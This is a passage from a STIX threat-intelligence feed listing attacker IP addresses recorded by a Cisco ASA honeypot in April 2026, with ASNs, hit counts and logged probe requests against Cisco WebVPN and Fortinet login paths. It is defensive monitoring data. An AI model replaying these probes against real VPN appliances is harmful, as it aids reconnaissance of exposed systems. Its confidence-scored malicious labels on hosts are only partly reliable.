      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '3.82.104.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T01:20:10.000Z",
      "valid_until": "2026-05-22T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-20T00:56:32.349Z",
          "last_seen": "2026-04-20T00:56:32.349Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-20T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--caed9c02-8bee-4eef-b915-2ebd72c1ce83",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '34.224.57.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T01:20:10.000Z",
      "valid_until": "2026-05-22T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-20T00:55:48.336Z",
          "last_seen": "2026-04-20T00:55:51.339Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-20T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--06651bb1-aa03-4679-97a5-ae2da0979c19",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T01:20:10.000Z",
      "valid_until": "2026-05-22T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-20T00:30:10.097Z",
          "last_seen": "2026-04-20T00:30:10.097Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-20T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--87d1fd68-afb8-4729-b3a4-e9c8a8f52cc6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T01:20:10.000Z",
      "valid_until": "2026-05-22T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-20T00:30:21.564Z",
          "last_seen": "2026-04-20T00:30:21.564Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-20T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--68cb3788-2c4b-48e9-b6d9-4795cc612612",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T01:20:10.000Z",
      "valid_until": "2026-05-22T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-20T00:30:02.433Z",
          "last_seen": "2026-04-20T00:30:02.433Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-20T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--5ad8a177-b87f-461f-bf84-b27242d4ac3e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T01:20:10.000Z",
      "valid_until": "2026-05-22T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-20T00:28:56.759Z",
          "last_seen": "2026-04-20T00:30:11.396Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-20T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--a2a09865-52cb-4bed-b3cb-7707106109e8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T01:20:10.000Z",
      "valid_until": "2026-05-22T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-20T00:30:14.653Z",
          "last_seen": "2026-04-20T00:30:14.653Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-20T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--0c3eead4-8f85-4c47-b954-d70ae6e1d0e9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T01:20:10.000Z",
      "valid_until": "2026-05-22T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 14,
          "first_seen": "2026-04-20T00:26:12.853Z",
          "last_seen": "2026-04-20T00:31:55.008Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-20T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--794f5f16-9b41-4e54-a5bc-d958b072213b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T01:20:10.000Z",
      "valid_until": "2026-05-22T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-20T00:30:20.890Z",
          "last_seen": "2026-04-20T00:30:20.890Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-20T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--f925b074-e641-4290-afad-05f8789771c9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T01:20:10.000Z",
      "valid_until": "2026-05-22T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-20T00:28:14.908Z",
          "last_seen": "2026-04-20T00:28:14.908Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-20T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--f6f6bc61-8180-436f-a2bb-51c238ac850e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T01:20:10.000Z",
      "valid_until": "2026-05-22T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-20T00:30:16.230Z",
          "last_seen": "2026-04-20T00:30:16.230Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-20T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: HK; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--f949460b-3cc0-48cf-a8dc-7d95931e0c42",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '152.32.133.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T06:20:10.000Z",
      "valid_until": "2026-05-22T06:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 8,
          "first_seen": "2026-04-20T06:03:08.694Z",
          "last_seen": "2026-04-20T06:03:21.698Z",
          "country": "Hong Kong",
          "country_code": "HK",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/favicon.ico HTTP/1.1\" 404 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/win.js HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T02:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 400882 (Cyber Data LLC)",
      "id": "indicator--3700192f-4689-47cb-899e-d3655877dacb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.162.40.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T02:20:05.000Z",
      "valid_until": "2026-05-23T02:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-21T02:15:10.716Z",
          "last_seen": "2026-04-29T12:47:09.440Z",
          "country": "United States",
          "country_code": "US",
          "asn": 400882,
          "as_org": "Cyber Data LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T02:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--4b82a389-90c1-417c-8d0d-7b16f2ff8f9a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.72.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T02:20:05.000Z",
      "valid_until": "2026-05-23T02:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-21T01:41:12.591Z",
          "last_seen": "2026-04-24T10:33:29.004Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T02:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--fd870701-e165-499e-bb5f-32b70200cd21",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.83.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T02:20:05.000Z",
      "valid_until": "2026-05-23T02:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-11T03:55:26.708Z",
          "last_seen": "2026-04-24T12:09:14.216Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T02:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--9b09e7eb-f02e-4937-a620-163855a95f8d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.93.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T02:20:05.000Z",
      "valid_until": "2026-05-23T02:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-21T01:21:58.734Z",
          "last_seen": "2026-04-26T13:35:34.043Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T02:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b9f6e4c7-7c76-48a6-936c-aaadeaeb9ac5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.98.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T02:20:05.000Z",
      "valid_until": "2026-05-23T02:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-21T01:54:57.378Z",
          "last_seen": "2026-04-27T23:32:11.090Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T02:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: RU; ASN 209702 (Soldatov Alexey Valerevich)",
      "id": "indicator--9336fd33-e34c-41ec-9d2a-b6c6c86eff4d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '80.66.66.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T02:20:05.000Z",
      "valid_until": "2026-05-23T02:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 90,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 168,
          "first_seen": "2026-04-21T00:49:29.479Z",
          "last_seen": "2026-04-23T05:34:46.166Z",
          "country": "Russia",
          "country_code": "RU",
          "asn": 209702,
          "as_org": "Soldatov Alexey Valerevich",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T03:20:16.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--129d2ccb-a2c2-48d9-95aa-38f701866e49",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.79.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T03:20:16.000Z",
      "valid_until": "2026-05-23T03:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 30,
          "first_seen": "2026-04-11T04:00:28.511Z",
          "last_seen": "2026-04-29T17:04:45.293Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T03:20:16.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--2ef2aeac-bf96-433a-bf11-f993c8e6fcdc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.200.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T03:20:16.000Z",
      "valid_until": "2026-05-23T03:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-21T02:35:52.293Z",
          "last_seen": "2026-04-24T13:53:46.901Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T03:20:16.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 211298 (Driftnet Ltd)",
      "id": "indicator--14a8c62c-53d7-4c76-9ae8-8881c8079888",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '87.236.176.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T03:20:16.000Z",
      "valid_until": "2026-05-23T03:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-21T02:23:11.293Z",
          "last_seen": "2026-04-21T02:23:11.293Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 211298,
          "as_org": "Driftnet Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
